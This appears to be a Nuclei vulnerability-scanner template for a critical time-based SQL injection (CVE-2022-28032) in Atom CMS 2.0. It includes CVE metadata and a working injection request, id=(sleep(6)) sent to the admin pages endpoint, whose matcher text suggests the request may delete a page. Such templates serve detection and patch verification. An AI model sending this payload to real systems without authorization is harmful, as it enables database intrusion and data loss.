id: CVE-2022-28032

info:
  name: Atom CMS v2.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    AtomCMS 2.0 is vulnerable to SQL Injection via Atom.CMS_admin_ajax_pages.php
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: Fixed in version Atom CMS v2.1
  reference:
    - https://github.com/thedigicraft/Atom.CMS/issues/263
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28032
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/bornrootcom/fictional-memory
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28032
    cwe-id: CWE-89
    epss-score: 0.27943
    epss-percentile: 0.96253
    cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: thedigitalcraft
    product: atomcms
  tags: time-based-sqli,cve,cve2022,sqli,atom,cms,thedigitalcraft

http:
  - raw:
      - |
        @timeout: 20s
        GET /admin/ajax/pages.php?id=(sleep(6)) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(body, "Page Deleted")'
        condition: and
# digest: 4a0a00473045022032387bca06f33fe7ab2726066e145ed20caef20c281f2fceebd9c91af85fd4cd0221008e4a4d79211e1ab472f06c451aa17695b9ae9953efda0c49e4aabf06e2d66010:922c64590222798bb761d5b6d8e72950